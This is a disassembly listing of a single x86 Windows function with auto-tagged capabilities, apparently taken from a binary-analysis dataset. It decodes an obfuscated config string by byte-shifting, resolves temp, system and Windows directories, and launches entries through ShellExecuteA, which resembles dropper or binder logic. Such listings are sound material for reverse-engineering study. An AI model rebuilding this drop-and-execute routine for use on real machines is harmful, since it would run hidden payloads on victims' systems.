Function at 0x405290
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x405298
push ebx
push esi
push edi
mov eax, 0x405240
call fcn.004044e8
xor eax, eax
push ebp
push 0x405864
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402ab0
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
call fcn.00404cbc
mov edx, dword [ebp - 0x18]
pop eax
call fcn.00403858
jne 0x4052e2
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x1c]
call fcn.00404968
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
call fcn.00404cbc
mov edx, dword [ebp - 0x20]
pop eax
call fcn.00403858
jne 0x405308
push 0
call sub.kernel32.dll_ExitProcess_1
mov eax, 0x4079f4
mov edx, 0x40587c
call fcn.00403638
push 0x4079f4
mov ecx, 1
mov edx, 2
mov eax, dword [0x4079f4]
call fcn.00403964
mov eax, 0x4079f4
mov edx, 0x405888
call fcn.00403714
lea eax, [ebp - 0x24]
push eax
mov ecx, 1
mov edx, 2
mov eax, 0x405894
call fcn.00403964
mov edx, dword [ebp - 0x24]
mov eax, 0x4079f4
call fcn.00403714
mov eax, 0x4079f4
mov edx, 0x4058a0
call fcn.00403714
mov eax, 0x4079f4
mov edx, 0x4058ac
call fcn.00403714
mov edx, dword [0x4060f0]
mov edx, dword [edx]
mov eax, dword [0x4079f4]
call fcn.004039a4
dec eax
jge 0x40539c
call fcn.004034ec
mov eax, dword [0x4060e0]
mov eax, dword [eax]
call fcn.0040390c
mov edx, eax
mov eax, 0x407650
call fcn.00404c54
mov ebx, eax
mov edx, dword [0x4060dc]
mov edx, dword [edx]
mov eax, 0x4079f0
call fcn.004039ec
mov eax, 0x4079f0
call fcn.0040395c
mov edx, eax
mov ecx, dword [0x4060dc]
mov ecx, dword [ecx]
mov eax, ebx
call fcn.0040290c
mov eax, dword [0x4079f0]
call fcn.0040370c
mov esi, eax
test esi, esi
jle 0x405415
mov ebx, 1
mov eax, 0x4079f0
call fcn.0040395c
mov edx, dword [0x4079f0]
mov dl, byte [edx + ebx - 1]
dec edx
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4053f8
call fcn.0040511c
call fcn.00404e78
lea eax, [ebp - 0x28]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [0x4079f0]
call fcn.00403964
mov eax, dword [ebp - 0x28]
call fcn.00404e24
mov edx, dword [0x4060d4]
mov dword [edx], eax
push 0x4079f0
mov ecx, 0x7fffffff
mov edx, 4
mov eax, dword [0x4079f0]
call fcn.00403964
mov eax, dword [0x4060d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x4060c8]
mov ecx, 1
mov edx, dword [0x40478c]
call fcn.004040e4
add esp, 4
mov eax, dword [0x4060d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x4060fc]
mov ecx, 1
mov edx, dword [0x40478c]
call fcn.004040e4
add esp, 4
mov eax, dword [0x4060d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x406124]
mov ecx, 1
mov edx, dword [0x40478c]
call fcn.004040e4
add esp, 4
mov eax, dword [0x4060d4]
mov eax, dword [eax]
push eax
mov eax, dword [0x406104]
mov ecx, 1
mov edx, dword [0x40476c]
call fcn.004040e4
add esp, 4
mov eax, dword [0x40610c]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
push 0x105
mov eax, dword [0x406114]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x2c]
mov edx, dword [0x406114]
mov ecx, 0x105
call fcn.004036f4
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x4060cc]
mov ecx, 0x4058b8
call fcn.00403758
push 0x105
mov eax, dword [0x40611c]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x30]
mov edx, dword [0x40611c]
mov ecx, 0x105
call fcn.004036f4
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4060d0]
mov ecx, 0x4058b8
call fcn.00403758
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.00402ab0
mov edx, dword [ebp - 0x34]
mov eax, 0x4058b8
call fcn.00404b54
mov ebx, eax
mov eax, dword [0x4060e4]
push eax
lea edx, [ebp - 0x38]
xor eax, eax
call fcn.00402ab0
mov eax, dword [ebp - 0x38]
mov ecx, ebx
mov edx, 1
call fcn.00403964
mov eax, dword [0x4060d4]
mov esi, dword [eax]
shl esi, 2
dec esi
test esi, esi
jl 0x4057c1
inc esi
xor ebx, ebx
mov edx, dword [0x4079f0]
mov eax, 0x4058c4
call fcn.004039a4
mov edi, eax
mov eax, dword [0x4060d4]
cmp ebx, dword [eax]
jge 0x4055e5
mov eax, dword [0x4060c8]
mov eax, dword [eax]
lea eax, [eax + ebx*4]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [0x4079f0]
call fcn.00403964
jmp 0x4057a2
mov eax, dword [0x4060d4]
mov eax, dword [eax]
add eax, eax
cmp ebx, eax
jge 0x405730
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
lea eax, [eax + edx*4]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [0x4079f0]
call fcn.00403964
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
mov eax, dword [eax + edx*4]
mov edx, 0x4058d0
call fcn.00403858
jne 0x405663
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
lea eax, [eax + edx*4]
mov edx, dword [0x40610c]
mov ecx, 0x105
call fcn.004036f4
jmp 0x4057a2
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
mov eax, dword [eax + edx*4]
mov edx, 0x4058dc
call fcn.00403858
jne 0x4056a7
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
lea eax, [eax + edx*4]
mov edx, dword [0x4060d0]
mov edx, dword [edx]
call fcn.00403638
jmp 0x4057a2
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
mov eax, dword [eax + edx*4]
mov edx, 0x4058e8
call fcn.00403858
jne 0x4056eb
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
lea eax, [eax + edx*4]
mov edx, dword [0x4060cc]
mov edx, dword [edx]
call fcn.00403638
jmp 0x4057a2
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
mov eax, dword [eax + edx*4]
mov edx, 0x4058f4
call fcn.00403858
jne 0x4057a2
mov eax, dword [0x4060d4]
mov edx, ebx
sub edx, dword [eax]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
lea eax, [eax + edx*4]
mov edx, dword [0x4060e4]
mov edx, dword [edx]
call fcn.00403638
jmp 0x4057a2
mov eax, dword [0x4060d4]
mov eax, dword [eax]
lea eax, [eax + eax*2]
cmp ebx, eax
jge 0x40576a
mov eax, dword [0x4060d4]
mov eax, dword [eax]
add eax, eax
mov edx, ebx
sub edx, eax
mov eax, dword [0x406124]
mov eax, dword [eax]
lea eax, [eax + edx*4]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [0x4079f0]
call fcn.00403964
jmp 0x4057a2
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [0x4079f0]
call fcn.00403964
mov eax, dword [ebp - 0x3c]
call fcn.00404e24
mov edx, dword [0x4060d4]
mov edx, dword [edx]
lea edx, [edx + edx*2]
mov ecx, ebx
sub ecx, edx
mov edx, dword [0x406104]
mov edx, dword [edx]
mov dword [edx + ecx*4], eax
push 0x4079f0
lea edx, [edi + 1]
mov ecx, 0x7fffffff
mov eax, dword [0x4079f0]
call fcn.00403964
inc ebx
dec esi
jne 0x4055a8
mov esi, dword [0x4060d4]
mov esi, dword [esi]
test esi, esi
jle 0x4057e2
mov ebx, 1
mov edx, ebx
mov eax, dword [0x407650]
call fcn.00404870
inc ebx
dec esi
jne 0x4057d2
mov esi, dword [0x4060d4]
mov esi, dword [esi]
dec esi
test esi, esi
jl 0x405849
inc esi
xor ebx, ebx
mov eax, dword [0x406124]
mov eax, dword [eax]
mov eax, dword [eax + ebx*4]
mov edx, 0x4058dc
call fcn.00403858
jne 0x405845
push 1
push 0x4058f8
push 0x4058f8
mov eax, dword [0x4060c8]
mov eax, dword [eax]
mov ecx, dword [eax + ebx*4]
mov eax, dword [0x4060fc]
mov eax, dword [eax]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x40]
call fcn.00403758
mov eax, dword [ebp - 0x40]
call fcn.0040390c
push eax
push 0x4058fc
push 0
call sub.shell32.dll_ShellExecuteA
inc ebx
dec esi
jne 0x4057f2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40586b
lea eax, [ebp - 0x40]
mov edx, 0xc
call fcn.00403608
ret